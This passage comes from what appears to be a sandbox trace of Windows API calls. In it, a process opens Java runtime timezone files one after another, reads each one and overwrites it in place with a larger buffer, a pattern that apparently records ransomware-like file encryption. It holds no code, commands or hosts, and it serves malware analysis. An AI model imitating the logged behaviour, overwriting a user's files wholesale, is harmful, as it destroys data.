lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.596] WriteFile (in: hFile=0x1bc, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x705, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x304f2d0*=0x705, lpOverlapped=0x0) returned 1 [0053.596] CloseHandle (hObject=0x1bc) returned 1 [0053.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vladivostok" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\vladivostok"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.597] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.597] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x245 [0053.597] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.597] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.597] ReleaseMutex (hMutex=0x128) returned 1 [0053.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vladivostok", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0053.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vladivostok", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Vladivostok", lpUsedDefaultChar=0x0) returned 11 [0053.597] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x245, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x304f2bc*=0x245, lpOverlapped=0x0) returned 1 [0053.598] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.598] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7cd, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x304f2d0*=0x7cd, lpOverlapped=0x0) returned 1 [0053.598] CloseHandle (hObject=0x1bc) returned 1 [0053.598] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Reykjavik" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\reykjavik"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.599] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.599] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x241 [0053.599] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.599] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.599] ReleaseMutex (hMutex=0x128) returned 1 [0053.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reykjavik", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reykjavik", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reykjavik", lpUsedDefaultChar=0x0) returned 9 [0053.599] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x241, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x304f2bc*=0x241, lpOverlapped=0x0) returned 1 [0053.600] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.600] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7c9, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x304f2d0*=0x7c9, lpOverlapped=0x0) returned 1 [0053.600] CloseHandle (hObject=0x1bc) returned 1 [0053.600] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Hobart" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\hobart"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.600] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.601] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x508 [0053.601] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.601] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.601] ReleaseMutex (hMutex=0x128) returned 1 [0053.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hobart", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0053.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hobart", cchWideChar=6, lpMultiByteStr=0x1e6a90c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hobart", lpUsedDefaultChar=0x0) returned 6 [0053.601] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x508, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x304f2bc*=0x508, lpOverlapped=0x0) returned 1 [0053.602] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.602] WriteFile (in: hFile=0x1bc, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x304f2d0*=0xa90, lpOverlapped=0x0) returned 1 [0053.602] CloseHandle (hObject=0x1bc) returned 1 [0053.603] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST5EDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est5edt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.603] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.603] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4f8 [0053.603] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.603] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.603] ReleaseMutex (hMutex=0x128) returned 1 [0053.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EST5EDT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EST5EDT", cchWideChar=7, lpMultiByteStr=0x1e6a7bc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EST5EDT", lpUsedDefaultChar=0x0) returned 7 [0053.603] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x304f2bc*=0x4f8, lpOverlapped=0x0) returned 1 [0053.605] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.605] WriteFile (in: hFile=0x1bc, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x304f2d0*=0xa80, lpOverlapped=0x0) returned 1 [0053.605] CloseHandle (hObject=0x1bc) returned 1 [0053.605] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+6" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.605] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.605] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1b [0053.606] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.606] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.606] ReleaseMutex (hMutex=0x128) returned 1 [0053.606] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+6", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0053.606] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+6", cchWideChar=5, lpMultiByteStr=0x1e6a7bc, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT+6", lpUsedDefaultChar=0x0) returned 5 [0053.606] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e78970, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78970*, lpNumberOfBytesRead=0x304f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0053.606] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.607] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0053.607] CloseHandle (hObject=0x1bc) returned 1 [0053.609] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-2" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.609] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.609] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1b [0053.609] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.610] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.610] ReleaseMutex (hMutex=0x128) returned 1 [0053.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-2", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0053.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-2", cchWideChar=5, lpMultiByteStr=0x1e6a7bc, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT-2", lpUsedDefaultChar=0x0) returned 5 [0053.610] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e78970, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78970*, lpNumberOfBytesRead=0x304f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0053.610] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.611] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0053.611] CloseHandle (hObject=0x1bc) returned 1 [0053.611] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Amsterdam" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\amsterdam"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.611] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.611] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x608 [0053.611] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.611] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.611] ReleaseMutex (hMutex=0x128) returned 1 [0053.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Amsterdam", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Amsterdam", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Amsterdam", lpUsedDefaultChar=0x0) returned 9 [0053.611] ReadFile (in: hFile=0x1bc, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x304f2bc*=0x608, lpOverlapped=0x0) returned 1 [0053.613] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.613] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x304f2d0*=0xb90, lpOverlapped=0x0) returned 1 [0053.613] CloseHandle (hObject=0x1bc) returned 1 [0053.613] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Dublin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\dublin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.614] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.614] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x77c [0053.614] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.614] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.614] ReleaseMutex (hMutex=0x128) returned 1 [0053.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dublin", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0053.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dublin", cchWideChar=6, lpMultiByteStr=0x1e6a7bc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dublin", lpUsedDefaultChar=0x0) returned 6 [0053.614] ReadFile (in: hFile=0x1bc, lpBuffer=0x1de7c08, nNumberOfBytesToRead=0x77c, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de7c08*, lpNumberOfBytesRead=0x304f2bc*=0x77c, lpOverlapped=0x0) returned 1 [0053.888] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.888] WriteFile (in: hFile=0x1bc, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0xd04, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x304f2d0*=0xd04, lpOverlapped=0x0) returned 1 [0053.888] CloseHandle (hObject=0x1bc) returned 1 [0053.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Malta" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\malta"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.889] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.889] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x5a0 [0053.889] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.889] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.889] ReleaseMutex (hMutex=0x128) returned 1 [0053.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Malta", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0053.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Malta", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Malta", lpUsedDefaultChar=0x0) returned 5 [0053.889] ReadFile (in: hFile=0x1bc, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x304f2bc*=0x5a0, lpOverlapped=0x0) returned 1 [0053.891] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.891] WriteFile (in: hFile=0x1bc, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0xb28, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x304f2d0*=0xb28, lpOverlapped=0x0) returned 1 [0053.891] CloseHandle (hObject=0x1bc) returned 1 [0053.891] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Simferopol" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\simferopol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.892] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.892] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x428 [0053.892] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.892] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.892] ReleaseMutex (hMutex=0x128) returned 1 [0053.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Simferopol", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0053.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Simferopol", cchWideChar=10, lpMultiByteStr=0x1e6334c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Simferopol", lpUsedDefaultChar=0x0) returned 10 [0053.892] ReadFile (in: hFile=0x1bc, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x428, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x304f2bc*=0x428, lpOverlapped=0x0) returned 1 [0053.894] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.894] WriteFile (in: hFile=0x1bc, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x304f2d0*=0x9b0, lpOverlapped=0x0) returned 1 [0053.894] CloseHandle (hObject=0x1bc) returned 1 [0053.894] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Warsaw" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\warsaw"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.894] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.894] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x588 [0053.894] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.894] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.894] ReleaseMutex (hMutex=0x128) returned 1 [0053.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Warsaw", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0053.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Warsaw", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Warsaw", lpUsedDefaultChar=0x0) returned 6 [0053.895] ReadFile (in: hFile=0x1bc, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x588, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x304f2bc*=0x588, lpOverlapped=0x0) returned 1 [0053.896] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, 